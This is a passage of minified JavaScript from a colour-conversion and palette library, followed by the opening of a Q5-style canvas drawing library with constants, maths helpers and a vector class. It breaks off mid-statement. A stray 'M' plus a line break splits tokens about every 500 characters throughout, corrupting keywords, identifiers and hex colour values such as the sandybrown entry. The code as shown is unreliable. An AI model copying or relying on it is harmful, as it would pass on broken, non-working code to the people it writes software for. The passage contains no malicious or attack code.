:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
